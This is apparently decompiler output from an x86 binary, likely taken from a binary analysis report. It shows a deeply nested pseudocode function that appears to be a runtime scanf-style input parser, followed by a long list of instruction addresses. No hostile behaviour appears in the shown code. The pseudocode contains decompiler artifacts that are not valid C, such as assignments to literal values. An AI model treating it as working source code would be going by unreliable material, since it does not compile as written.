																													__edx =  *(__ebp - 0x1fc);
																													__cl = 3;
																													 *(__ebp - 0x200) = E004328F0( *(__ebp - 0x200), __ecx, __edx);
																													 *(__ebp - 0x1fc) = __edx;
																												}
																											}
																										}
																										goto L214;
																									}
																									goto L201;
																								}
																								L222:
																								__eax =  *(__ebp - 2);
																								__eflags =  *(__ebp - 2);
																								if( *(__ebp - 2) != 0) {
																									__ecx =  *(__ebp - 0x200);
																									__ecx =  ~( *(__ebp - 0x200));
																									__edx =  *(__ebp - 0x1fc);
																									asm("adc edx, 0x0");
																									__edx =  ~( *(__ebp - 0x1fc));
																									 *(__ebp - 0x200) = __ecx;
																									 *(__ebp - 0x1fc) =  ~( *(__ebp - 0x1fc));
																								}
																								goto L251;
																							}
																							L176:
																							__ecx =  *(__ebp - 0xc);
																							__ecx =  *(__ebp - 0xc) + 1;
																							 *(__ebp - 0xc) = __ecx;
																							__edx =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																							__eax =  *(__ebp - 0x21c);
																							__eflags =  *(__ebp - 0x21c) - 0x78;
																							if( *(__ebp - 0x21c) == 0x78) {
																								L178:
																								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																								__eax =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																								__eflags =  *(__ebp - 0x1f0);
																								if( *(__ebp - 0x1f0) != 0) {
																									__ecx =  *(__ebp - 0x78);
																									__ecx =  *(__ebp - 0x78) - 2;
																									 *(__ebp - 0x78) = __ecx;
																									__eflags =  *(__ebp - 0x78) - 1;
																									if( *(__ebp - 0x78) < 1) {
																										__dl =  *(__ebp - 0x1e);
																										__dl =  *(__ebp - 0x1e) + 1;
																										__eflags = __dl;
																										 *(__ebp - 0x1e) = __dl;
																									}
																								}
																								 *((intOrPtr*)(__ebp - 0x44)) = 0x78;
																								goto L188;
																							}
																							L177:
																							__ecx =  *(__ebp - 0x21c);
																							__eflags = __ecx - 0x58;
																							if(__ecx != 0x58) {
																								L182:
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																								if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																									__eax =  *(__ebp - 0xc);
																									__eax =  *(__ebp - 0xc) - 1;
																									__eflags = __eax;
																									 *(__ebp - 0xc) = __eax;
																									__ecx =  *(__ebp + 8);
																									__edx =  *(__ebp - 0x21c);
																									__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																									 *(__ebp - 0x21c) = 0x30;
																								} else {
																									__eflags =  *(__ebp - 0x1f0);
																									if( *(__ebp - 0x1f0) != 0) {
																										__ecx =  *(__ebp - 0x78);
																										__ecx =  *(__ebp - 0x78) - 1;
																										__eflags = __ecx;
																										 *(__ebp - 0x78) = __ecx;
																										if(__ecx == 0) {
																											__dl =  *(__ebp - 0x1e);
																											__dl =  *(__ebp - 0x1e) + 1;
																											__eflags = __dl;
																											 *(__ebp - 0x1e) = __dl;
																										}
																									}
																									 *((intOrPtr*)(__ebp - 0x44)) = 0x6f;
																								}
																								goto L188;
																							}
																							goto L178;
																						}
																						L171:
																						__eax =  *(__ebp - 0x78);
																						__eax =  *(__ebp - 0x78) - 1;
																						__eflags = __eax;
																						 *(__ebp - 0x78) = __eax;
																						if(__eax != 0) {
																							L174:
																							__edx =  *(__ebp - 0xc);
																							__edx =  *(__ebp - 0xc) + 1;
																							__eflags = __edx;
																							 *(__ebp - 0xc) = __edx;
																							__eax =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																							goto L175;
																						}
																						L172:
																						__eflags =  *(__ebp - 0x1f0);
																						if( *(__ebp - 0x1f0) == 0) {
																							goto L174;
																						}
																						L173:
																						__cl =  *(__ebp - 0x1e);
																						__cl =  *(__ebp - 0x1e) + 1;
																						 *(__ebp - 0x1e) = __cl;
																						goto L175;
																					}
																					L169:
																					 *(__ebp - 2) =  *(__ebp - 2) + 1;
																					 *(__ebp - 2) =  *(__ebp - 2) + 1;
																					goto L171;
																				case 8:
																					L77:
																					__ecx =  *(__ebp - 0x215);
																					__eflags =  *(__ebp - 0x215);
																					if( *(__ebp - 0x215) > 0) {
																						__dl =  *(__ebp - 0x29);
																						__dl =  *(__ebp - 0x29) + 1;
																						__eflags = __dl;
																						 *(__ebp - 0x29) = __dl;
																					}
																					L79:
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																					__ecx =  *(__ebp + 0xc);
																					 *(__ebp - 0x38) =  *(__ebp + 0xc);
																					__edx =  *(__ebp - 0x38);
																					__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																					__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5e;
																					if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5e) {
																						 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																						 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																						__dl =  *(__ebp - 3);
																						__dl =  *(__ebp - 3) - 1;
																						__eflags = __dl;
																						 *(__ebp - 3) = __dl;
																					}
																					L81:
																					 *(__ebp - 0x4c) = E0041BED0(__edi,  *(__ebp - 0x4c), 0, 0x20);
																					__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																					if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																						__ecx =  *(__ebp - 0x38);
																						__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
																						__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																						if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																							 *(__ebp - 0x7d) = 0x5d;
																							__eax =  *(__ebp - 0x38);
																							__eax =  *(__ebp - 0x38) + 1;
																							__eflags = __eax;
																							 *(__ebp - 0x38) = __eax;
																							__ecx =  *(__ebp - 0x4c);
																							 *((char*)( *(__ebp - 0x4c) + 0xb)) = 0x20;
																						}
																					}
																					while(1) {
																						L84:
																						__edx =  *(__ebp - 0x38);
																						__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																						__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																						if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																							break;
																						}
																						L85:
																						__ecx =  *(__ebp - 0x38);
																						__dl =  *( *(__ebp - 0x38));
																						 *(__ebp - 0x7e) =  *( *(__ebp - 0x38));
																						 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																						 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																						__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																						__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - 0x2d;
																						if(( *(__ebp - 0x7e) & 0x000000ff) != 0x2d) {
																							L88:
																							__dl =  *(__ebp - 0x7e);
																							 *(__ebp - 0x7d) =  *(__ebp - 0x7e);
																							 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																							 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																							1 = 1 << __cl;
																							__ecx =  *(__ebp - 0x4c);
																							 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																							 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																							__edx =  *(__ebp - 0x4c);
																							 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) = __al;
																							L97:
																							continue;
																						}
																						L86:
																						__edx =  *(__ebp - 0x7d) & 0x000000ff;
																						__eflags =  *(__ebp - 0x7d) & 0x000000ff;
																						if(( *(__ebp - 0x7d) & 0x000000ff) == 0) {
																							goto L88;
																						}
																						L87:
																						__eax =  *(__ebp - 0x38);
																						__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																						__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																						if(( *( *(__ebp - 0x38)) & 0x000000ff) != 0x5d) {
																							L89:
																							__eax =  *(__ebp - 0x38);
																							__cl =  *( *(__ebp - 0x38));
																							 *(__ebp - 0x7e) = __cl;
																							 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																							 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																							__eax =  *(__ebp - 0x7d) & 0x000000ff;
																							__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																							__eflags = ( *(__ebp - 0x7d) & 0x000000ff) - ( *(__ebp - 0x7e) & 0x000000ff);
																							if(( *(__ebp - 0x7d) & 0x000000ff) >= ( *(__ebp - 0x7e) & 0x000000ff)) {
																								__al =  *(__ebp - 0x7d);
																								 *(__ebp - 0x11) = __al;
																								__cl =  *(__ebp - 0x7e);
																								 *(__ebp - 0x7d) = __cl;
																							} else {
																								__dl =  *(__ebp - 0x7e);
																								 *(__ebp - 0x11) =  *(__ebp - 0x7e);
																							}
																							__dl =  *(__ebp - 0x7d);
																							 *(__ebp - 0x7e) =  *(__ebp - 0x7d);
																							while(1) {
																								L94:
																								__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																								__edx =  *(__ebp - 0x11) & 0x000000ff;
																								__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - ( *(__ebp - 0x11) & 0x000000ff);
																								if(( *(__ebp - 0x7e) & 0x000000ff) > ( *(__ebp - 0x11) & 0x000000ff)) {
																									break;
																								}
																								L95:
																								 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																								 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																								1 = 1 << __cl;
																								__ecx =  *(__ebp - 0x4c);
																								 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																								 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																								__edx =  *(__ebp - 0x4c);
																								 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) = __al;
																								__al =  *(__ebp - 0x7e);
																								__al =  *(__ebp - 0x7e) + 1;
																								__eflags = __al;
																								 *(__ebp - 0x7e) = __al;
																							}
																							L96:
																							 *(__ebp - 0x7d) = 0;
																							goto L97;
																						}
																						goto L88;
																					}
																					L98:
																					__eax =  *(__ebp - 0x38);
																					__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						L100:
																						__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																						if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																							__edx =  *(__ebp - 0x38);
																							 *(__ebp + 0xc) =  *(__ebp - 0x38);
																						}
																						while(1) {
																							L102:
																							 *(_t1132 - 0x48) =  *(_t1132 - 0x7c);
																							_t959 =  *(_t1132 - 0xc) - 1;
																							 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
																							E00426D30( *(_t1132 - 0x21c),  *(_t1132 + 8));
																							_t1135 = _t1134 + 8;
																							__eflags =  *(_t1132 - 0x44) - 0x63;
																							if( *(_t1132 - 0x44) != 0x63) {
																								_t959 =  *(_t1132 - 0x18) - 1;
																								__eflags = _t959;
																								 *(_t1132 - 0x18) = _t959;
																							}
																							L104:
																							__eflags =  *(_t1132 - 0x1f0);
																							if( *(_t1132 - 0x1f0) == 0) {
																								goto L106;
																							}
																							goto L105;
																						}
																					}
																					L99:
																					goto L334;
																				case 9:
																					goto L312;
																			}
																		}
																		L60:
																		__eflags =  *(_t1132 - 0x44) - 0x63;
																		if( *(_t1132 - 0x44) == 0x63) {
																			L63:
																			 *((intOrPtr*)(_t1132 + 0x14)) =  *((intOrPtr*)(_t1132 - 0x1c));
																			 *((intOrPtr*)(_t1132 + 0x14)) =  *((intOrPtr*)(_t1132 + 0x14)) + 4;
																			 *(_t1132 - 0x7c) =  *( *((intOrPtr*)(_t1132 + 0x14)) - 4);
																			 *((intOrPtr*)(_t1132 - 0x1c)) =  *((intOrPtr*)(_t1132 + 0x14));
																			 *((intOrPtr*)(_t1132 + 0x14)) =  *((intOrPtr*)(_t1132 + 0x14)) + 4;
																			 *(_t1132 - 0x18) =  *( *((intOrPtr*)(_t1132 + 0x14)) - 4);
																			_t1005 =  *(_t1132 - 0x18);
																			 *(_t1132 - 0x34) =  *(_t1132 - 0x18);
																			__eflags =  *(_t1132 - 0x18) - 1;
																			if( *(_t1132 - 0x18) >= 1) {
																				goto L68;
																			} else {
																				_t1056 =  *(_t1132 - 0x215);
																				__eflags =  *(_t1132 - 0x215);
																				if( *(_t1132 - 0x215) <= 0) {
																					_t1056 =  *(_t1132 - 0x7c);
																					 *( *(_t1132 - 0x7c)) = 0;
																				} else {
																					_t1005 =  *(_t1132 - 0x7c);
																					 *( *(_t1132 - 0x7c)) = 0;
																				}
																				 *((intOrPtr*)(L0041F530(_t1005))) = 0xc;
																				goto L334;
																			}
																		}
																		L61:
																		__eflags =  *(_t1132 - 0x44) - 0x73;
																		if( *(_t1132 - 0x44) == 0x73) {
																			goto L63;
																		}
																		L62:
																		__eflags =  *(_t1132 - 0x44) - 0x7b;
																		if( *(_t1132 - 0x44) != 0x7b) {
																			goto L68;
																		}
																		goto L63;
																	}
																	L58:
																	__eflags =  *(_t1132 - 0x78);
																	if( *(_t1132 - 0x78) == 0) {
																		L318:
																		 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
																		_t1056 =  *(_t1132 - 0x21c);
																		E00426D30( *(_t1132 - 0x21c),  *(_t1132 + 8));
																		_t1135 = _t1135 + 8;
																		goto L334;
																	}
																	goto L59;
																}
																L55:
																__eflags =  *(_t1132 - 0x21c) - 0xffffffff;
																if( *(_t1132 - 0x21c) != 0xffffffff) {
																	goto L57;
																} else {
																	goto L334;
																}
															}
															L50:
															__eflags =  *(_t1132 - 0x44) - 0x63;
															if( *(_t1132 - 0x44) == 0x63) {
																L53:
																_t1056 =  *(_t1132 - 0xc) + 1;
																__eflags = _t1056;
																 *(_t1132 - 0xc) = _t1056;
																_t882 = E00426CD0(_t991,  *(_t1132 + 8));
																_t1135 = _t1135 + 4;
																 *(_t1132 - 0x21c) = _t882;
																goto L54;
															}
															L51:
															__eflags =  *(_t1132 - 0x44) - 0x7b;
															if( *(_t1132 - 0x44) == 0x7b) {
																goto L53;
															} else {
																_t884 = E00426D50(_t957, _t1132 - 0xc, _t1130, _t1131, _t1132 - 0xc,  *(_t1132 + 8));
																_t1135 = _t1135 + 8;
																 *(_t1132 - 0x21c) = _t884;
																goto L54;
															}
														} else {
															L45:
															__eflags = ( *( *(_t1132 + 0xc)) & 0x000000ff) - 0x53;
															if(( *( *(_t1132 + 0xc)) & 0x000000ff) == 0x53) {
																L47:
																 *(_t1132 - 0x215) =  *(_t1132 - 0x215) + 1;
																goto L49;
															}
															L46:
															__eflags = ( *( *(_t1132 + 0xc)) & 0x000000ff) - 0x43;
															if(( *( *(_t1132 + 0xc)) & 0x000000ff) != 0x43) {
																_t887 =  *(_t1132 - 0x215) - 1;
																__eflags = _t887;
																 *(_t1132 - 0x215) = _t887;
																goto L49;
															}
															goto L47;
														}
													}
												} else {
													 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
													E00426D30(E00426D50(_t957,  *(_t1132 + 8), _t1130, _t1131, _t1132 - 0xc,  *(_t1132 + 8)),  *(_t1132 + 8));
													_t1141 = _t1135 + 0x10;
													do {
														L4:
														 *(_t1132 + 0xc) =  *(_t1132 + 0xc) + 1;
														 *(_t1132 - 0x71) =  *( *(_t1132 + 0xc));
														_t905 = E004328C0(_t957, _t1130, _t1131,  *(_t1132 - 0x71) & 0x000000ff);
														_t1141 = _t1141 + 4;
													} while (_t905 != 0);
													continue;
												}
											}
											goto L334;
										}
									}
								}
								L128:
								 *((intOrPtr*)(L0041F530(_t959))) = 0xc;
								__eflags =  *(_t1132 - 0x29);
								if( *(_t1132 - 0x29) == 0) {
									_t1056 =  *(_t1132 - 0x48);
									 *( *(_t1132 - 0x48)) = 0;
									__eflags =  *(_t1132 - 0x34) - 0xffffffff;
									if( *(_t1132 - 0x34) != 0xffffffff) {
										__eflags =  *(_t1132 - 0x34) - 0x7fffffff;
										if( *(_t1132 - 0x34) != 0x7fffffff) {
											__eflags =  *(_t1132 - 0x34) - 1;
											if( *(_t1132 - 0x34) > 1) {
												__eflags =  *0x43d1bc -  *(_t1132 - 0x34) - 1;
												if( *0x43d1bc >=  *(_t1132 - 0x34) - 1) {
													_t1056 =  *(_t1132 - 0x34) - 1;
													__eflags = _t1056;
													 *(_t1132 - 0x268) = _t1056;
												} else {
													 *(_t1132 - 0x268) =  *0x43d1bc;
												}
												__eflags =  *(_t1132 - 0x48) + 1;
												E0041BED0(_t1130,  *(_t1132 - 0x48) + 1, 0xfe,  *(_t1132 - 0x268));
												_t1135 = _t1135 + 0xc;
											}
										}
									}
								} else {
									_t1056 =  *(_t1132 - 0x48);
									 *( *(_t1132 - 0x48)) = 0;
									__eflags =  *(_t1132 - 0x34) - 0xffffffff;
									if( *(_t1132 - 0x34) != 0xffffffff) {
										__eflags =  *(_t1132 - 0x34) - 0x7fffffff;
										if( *(_t1132 - 0x34) != 0x7fffffff) {
											__eflags =  *(_t1132 - 0x34) - 1;
											if( *(_t1132 - 0x34) > 1) {
												__eflags =  *0x43d1bc -  *(_t1132 - 0x34) - 1; // 0xffffffff
												if(__eflags >= 0) {
													_t1056 =  *(_t1132 - 0x34) - 1;
													__eflags = _t1056;
													 *(_t1132 - 0x264) = _t1056;
												} else {
													_t1040 =  *0x43d1bc; // 0xffffffff
													 *(_t1132 - 0x264) = _t1040;
												}
												__eflags =  *(_t1132 - 0x48) + 2;
												E0041BED0(_t1130,  *(_t1132 - 0x48) + 2, 0xfe,  *(_t1132 - 0x264) << 1);
												_t1135 = _t1135 + 0xc;
											}
										}
									}
								}
								goto L334;
							}
							L106:
							 *(_t1132 - 0xc) =  *(_t1132 - 0xc) + 1;
							_t821 = E00426CD0( *(_t1132 - 0xc) + 1,  *(_t1132 + 8));
							_t1135 = _t1135 + 4;
							 *(_t1132 - 0x21c) = _t821;
							__eflags =  *(_t1132 - 0x21c) - 0xffffffff;
							if( *(_t1132 - 0x21c) == 0xffffffff) {
								L125:
								 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
								_t959 =  *(_t1132 + 8);
								E00426D30( *(_t1132 - 0x21c),  *(_t1132 + 8));
								_t1135 = _t1135 + 8;
								goto L127;
							}
							L107:
							__eflags =  *(_t1132 - 0x44) - 0x63;
							if( *(_t1132 - 0x44) == 0x63) {
								L114:
								_t959 =  *((char*)(_t1132 - 0x12));
								__eflags =  *((char*)(_t1132 - 0x12));
								if( *((char*)(_t1132 - 0x12)) != 0) {
									L123:
									_t1117 =  *(_t1132 - 0x48) + 1;
									__eflags = _t1117;
									 *(_t1132 - 0x48) = _t1117;
									L124:
									continue;
								}
								L115:
								__eflags =  *(_t1132 - 0x18);
								if( *(_t1132 - 0x18) != 0) {
									L117:
									__eflags =  *(_t1132 - 0x29);
									if( *(_t1132 - 0x29) == 0) {
										 *( *(_t1132 - 0x7c)) =  *(_t1132 - 0x21c);
										 *(_t1132 - 0x7c) =  *(_t1132 - 0x7c) + 1;
										_t959 =  *(_t1132 - 0x18) - 1;
										__eflags = _t959;
										 *(_t1132 - 0x18) = _t959;
									} else {
										 *((char*)(_t1132 - 0x238)) =  *(_t1132 - 0x21c);
										_t1043 =  *(_t1132 - 0x21c) & 0x000000ff;
										_t942 = E0042F0A0( *(_t1132 - 0x21c) & 0x000000ff);
										_t1142 = _t1135 + 4;
										__eflags = _t942;
										if(_t942 != 0) {
											_t1126 =  *(_t1132 - 0xc) + 1;
											__eflags = _t1126;
											 *(_t1132 - 0xc) = _t1126;
											_t951 = E00426CD0(_t1043,  *(_t1132 + 8));
											_t1142 = _t1142 + 4;
											 *((char*)(_t1132 - 0x237)) = _t951;
										}
										 *((short*)(_t1132 - 0x3c)) = 0x3f;
										_t943 = E0041EA40(_t1132 - 0x214);
										E0042F0C0(_t1132 - 0x3c, _t1132 - 0x238,  *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t1132 - 0x214))) + 0xac)), _t943);
										_t1135 = _t1142 + 0x10;
										_t959 =  *((intOrPtr*)(_t1132 - 0x3c));
										 *( *(_t1132 - 0x7c)) =  *((intOrPtr*)(_t1132 - 0x3c));
										 *(_t1132 - 0x7c) =  *(_t1132 - 0x7c) + 2;
										 *(_t1132 - 0x18) =  *(_t1132 - 0x18) - 1;
									}
									goto L124;
								}
								L116:
								 *(_t1132 - 0x40) = 1;
								goto L127;
							}
							L108:
							__eflags =  *(_t1132 - 0x44) - 0x73;
							if( *(_t1132 - 0x44) != 0x73) {
								L112:
								__eflags =  *(_t1132 - 0x44) - 0x7b;
								if( *(_t1132 - 0x44) != 0x7b) {
									goto L125;
								}
								L113:
								_t953 =  *(_t1132 - 0x21c) >> 3;
								_t1048 =  *((intOrPtr*)(_t1132 - 0x4c));
								__eflags = ( *(_t1048 + _t953) ^  *(_t1132 - 3)) & 0x00000001 << ( *(_t1132 - 0x21c) & 0x00000007);
								if((( *(_t1048 + _t953) ^  *(_t1132 - 3)) & 0x00000001 << ( *(_t1132 - 0x21c) & 0x00000007)) == 0) {
									goto L125;
								}
								goto L114;
							}
							L109:
							__eflags =  *(_t1132 - 0x21c) - 9;
							if( *(_t1132 - 0x21c) < 9) {
								L111:
								__eflags =  *(_t1132 - 0x21c) - 0x20;
								if( *(_t1132 - 0x21c) != 0x20) {
									goto L114;
								}
								goto L112;
							}
							L110:
							__eflags =  *(_t1132 - 0x21c) - 0xd;
							if( *(_t1132 - 0x21c) <= 0xd) {
								goto L112;
							}
							goto L111;
						}
					}
				}
			}

0x00425858
0x00425858
0x00425858
0x00425858
0x00425861
0x00425863
0x00425866
0x00425866
0x00425868
0x00425868
0x0042586b
0x004259f2
0x004259f2
0x004259f5
0x004259fb
0x004259fe
0x00425a0c
0x00425a11
0x00425a14
0x00425a18
0x00425a1d
0x00425a1d
0x00425a20
0x00425a20
0x00425a23
0x00425a23
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00425a2c
0x00425a35
0x00425a38
0x00425a3a
0x00425bd3
0x00425bd3
0x00425bd7
0x00425cb7
0x00425cb7
0x00425cba
0x00425cbd
0x00425df8
0x00426998
0x00426998
0x0042699c
0x004269a7
0x004269ac
0x004269ac
0x004269af
0x004269b6
0x00426a05
0x00426a05
0x00426a09
0x00426aad
0x00426aad
0x00426ab0
0x00426abc
0x00426ac1
0x00000000
0x00426ac1
0x00426a0f
0x00426a0f
0x00426a11
0x00426a1f
0x00426a13
0x00426a13
0x00426a13
0x00426a29
0x00426a2f
0x00426a35
0x00426a3c
0x00426a3e
0x00426a43
0x00426a45
0x00426a4a
0x00426a4f
0x00426a51
0x00426a56
0x00426a59
0x00426a5c
0x00426a5e
0x00426a5e
0x00426a5c
0x00426a5f
0x00426a66
0x00000000
0x00426a68
0x00426a68
0x00426a6d
0x00426a89
0x00426a94
0x00426aa0
0x00426aa5
0x00000000
0x00426aa5
0x004269b8
0x004269b8
0x004269b8
0x004269bc
0x004269d5
0x004269d5
0x004269d8
0x004269de
0x004269e4
0x004269f0
0x004269f5
0x00426ac7
0x00426aca
0x00426ad4
0x00426ad4
0x004269be
0x004269c5
0x004269c7
0x00000000
0x00000000
0x004269c9
0x004269c9
0x00000000
0x004269c9
0x004269b6
0x00425cc3
0x00425cc7
0x00425cc9
0x00425cd5
0x00425cd8
0x00425cdc
0x00425ce6
0x00425ce8
0x00425d7c
0x00425d7f
0x00425d83
0x00425d85
0x00425d8c
0x00425d97
0x00425d9a
0x00425daa
0x00425db0
0x00425dcc
0x00425dcc
0x00425dce
0x00425db2
0x00425db8
0x00425db8
0x00425de3
0x00425dee
0x00425df3
0x00425df3
0x00425d9a
0x00425d8c
0x00425cee
0x00425cf3
0x00425cf6
0x00425cfa
0x00425cfc
0x00425d03
0x00425d10
0x00425d13
0x00425d25
0x00425d2b
0x00425d49
0x00425d49
0x00425d4b
0x00425d2d
0x00425d33
0x00425d33
0x00425d62
0x00425d6f
0x00425d74
0x00425d74
0x00425d13
0x00425d03
0x00425d77
0x00425ce8
0x00425cdc
0x00426831
0x00426831
0x0042683a
0x00426869
0x00426971
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x0042697a
0x0042697a
0x00426980
0x00426983
0x00426991
0x00000000
0x00426991
0x00426985
0x00426985
0x00426988
0x0042698c
0x0042698f
0x00000000
0x00000000
0x00000000
0x00426993
0x0042536e
0x0042536e
0x0042536e
0x00425376
0x00000000
0x00000000
0x0042537c
0x00425383
0x00425388
0x0042538d
0x004253d9
0x004253df
0x004253e2
0x00426871
0x00426877
0x0042687a
0x0042687c
0x00426883
0x00426886
0x0042688b
0x0042688b
0x0042688e
0x0042688e
0x00426886
0x00426897
0x0042689e
0x004268a3
0x004268a6
0x004268be
0x004268c1
0x004268c3
0x004268e6
0x004268ee
0x004268f3
0x004268f6
0x004268f8
0x00426971
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x00000000
0x00426978
0x00426971
0x004268fa
0x00426900
0x00426907
0x0042690c
0x0042690f
0x00426927
0x0042692a
0x0042692c
0x00426968
0x0042696b
0x0042696b
0x0042696e
0x00000000
0x0042696e
0x0042692e
0x00426934
0x00426942
0x00426950
0x00426953
0x0042695e
0x00426963
0x004268c5
0x004268c5
0x004268cb
0x004268d2
0x004268d9
0x004268de
0x004268de
0x00000000
0x004268c3
0x004253e8
0x004253e8
0x004253ef
0x004253f2
0x00000000
0x004253f8
0x004253f8
0x00425402
0x00425406
0x00425416
0x00425422
0x00425425
0x0042542f
0x00425432
0x00425439
0x00425440
0x00425446
0x0042544c
0x00425452
0x00425455
0x0042545c
0x00425460
0x00425467
0x00425467
0x0042546b
0x0042546d
0x00000000
0x00000000
0x00425473
0x00425479
0x00425482
0x0042548a
0x0042548f
0x00425492
0x00425494
0x004254bd
0x004254c0
0x004254cf
0x004254d5
0x004254dc
0x00425672
0x00425675
0x00425675
0x00425677
0x00000000
0x00425677
0x004254e2
0x004254e8
0x004254ef
0x00000000
0x00425667
0x0042566a
0x0042566d
0x00000000
0x00000000
0x004254f6
0x00000000
0x00000000
0x00425518
0x00425518
0x0042551b
0x0042551f
0x00425522
0x00425560
0x00425560
0x00425563
0x00425567
0x0042556a
0x00425588
0x00425588
0x0042558b
0x0042558f
0x00425592
0x004255c4
0x004255c4
0x004255c4
0x004255c6
0x004255c8
0x004255cb
0x004255cb
0x004255ce
0x004255d1
0x004255db
0x004255db
0x004255e5
0x00000000
0x004255e5
0x00425594
0x00425594
0x00425597
0x0042559b
0x0042559e
0x00000000
0x00000000
0x004255a0
0x004255a0
0x004255a3
0x004255a7
0x004255aa
0x00000000
0x00000000
0x004255ac
0x004255ac
0x004255af
0x004255b3
0x004255b6
0x00000000
0x00000000
0x004255b8
0x004255b8
0x004255bb
0x004255bf
0x004255c2
0x004255ea
0x004255ea
0x004255ec
0x004255ee
0x004255f1
0x004255f1
0x004255f4
0x004255f7
0x00425601
0x00425601
0x00000000
0x0042560b
0x00000000
0x004255c2
0x0042556c
0x0042556c
0x0042556f
0x00425573
0x00425576
0x00000000
0x00425578
0x00425578
0x0042557b
0x0042557e
0x00000000
0x0042557e
0x00425576
0x00425524
0x00425524
0x00425527
0x0042552b
0x0042552e
0x00000000
0x00425530
0x00425530
0x00425533
0x00425536
0x0042553c
0x0042553f
0x00425542
0x0042554c
0x00000000
0x0042554c
0x00000000
0x0042560d
0x0042560d
0x00425610
0x00425613
0x00000000
0x00000000
0x004254fb
0x004254fb
0x004254fe
0x00425501
0x0042550a
0x0042550d
0x00000000
0x00000000
0x00425618
0x00425618
0x0042561b
0x0042561f
0x00425622
0x0042564e
0x00425651
0x00425651
0x00425653
0x00000000
0x00425624
0x00425624
0x00425627
0x0042562a
0x00425630
0x00425633
0x00425636
0x00425640
0x00000000
0x00425640
0x00000000
0x00425656
0x00425656
0x0042565c
0x0042565f
0x00000000
0x00000000
0x00000000
0x00000000
0x00425496
0x0042549f
0x004254b5
0x0042567a
0x00000000
0x0042567a
0x00425494
0x0042567f
0x00425683
0x00425685
0x004256a1
0x00425687
0x0042568a
0x00425693
0x0042569c
0x0042569c
0x004256a8
0x004256b3
0x004256b5
0x004256ec
0x004256ec
0x004256f2
0x004256f5
0x004256f8
0x004256fc
0x0042573d
0x0042573d
0x00425741
0x00425751
0x00425751
0x00425758
0x00425764
0x00425768
0x0042576a
0x004257e5
0x004257e8
0x004257f7
0x004257fd
0x00425804
0x004267dc
0x004267e2
0x004267e8
0x00426814
0x0042681a
0x0042681a
0x0042681d
0x00426827
0x00426829
0x0042682e
0x0042682e
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x004267ea
0x004267ed
0x004267f0
0x004267fe
0x00426803
0x00426806
0x00000000
0x00426806
0x0042580a
0x00425810
0x00425817
0x00000000
0x0042581e
0x0042581e
0x00425825
0x00425830
0x00425839
0x00425839
0x0042583c
0x0042583c
